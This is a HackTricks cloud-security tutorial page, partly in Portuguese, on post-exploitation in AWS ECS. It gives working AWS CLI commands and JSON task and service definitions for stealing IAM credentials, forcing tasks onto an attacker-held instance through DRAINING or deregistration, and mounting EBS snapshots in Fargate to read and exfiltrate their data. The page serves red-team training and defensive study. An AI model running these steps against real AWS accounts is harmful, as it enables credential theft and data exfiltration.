AWS - ECS Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
ECS
Para mais informações veja:
Host IAM Roles
In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:
Caution
IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
Privesc to node to steal other containers creds & secrets
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.
Making containers run in current host
Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
A mesma técnica pode ser feita removendo a instância EC2 do cluster. Isso é potencialmente menos furtivo, mas irá forçar as tasks a serem executadas em outras instâncias:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a task ou container foi parada. Existem 3 APIs potenciais para fazer isso:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Roube informações sensíveis de containers ECR
A instância EC2 provavelmente também terá a permissão ecr:GetAuthorizationToken, permitindo que ela baixe imagens (você pode procurar por informações sensíveis nelas).
Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
Abuse a integração nativa ECS EBS (2024+) para montar o conteúdo de um snapshot EBS existente diretamente dentro de uma nova task/service do ECS e ler seus dados de dentro do container.
-
Requer (no mínimo):
-
ecs:RegisterTaskDefinition
-
One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole on:
-
função de infraestrutura ECS usada para volumes (política:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenciadas pela task definition
-
If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
-
Impacto: Leia conteúdos arbitrários do disco a partir do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltre via rede/logs.
Passos (exemplo Fargate):
- Crie a role de infraestrutura do ECS (se não existir) e anexe a managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registre uma task definition com um volume marcado
configuredAtLaunche monte-o no container. Exemplo (imprime o segredo e depois fica em sleep):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Crie ou atualize um serviço passando o EBS snapshot via
volumeConfigurations.managedEBSVolume(requer iam:PassRole na role de infra). Exemplo:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Quando a task iniciar, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo,
/loot). Exfiltrate via a network/logs da task.
Limpeza:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

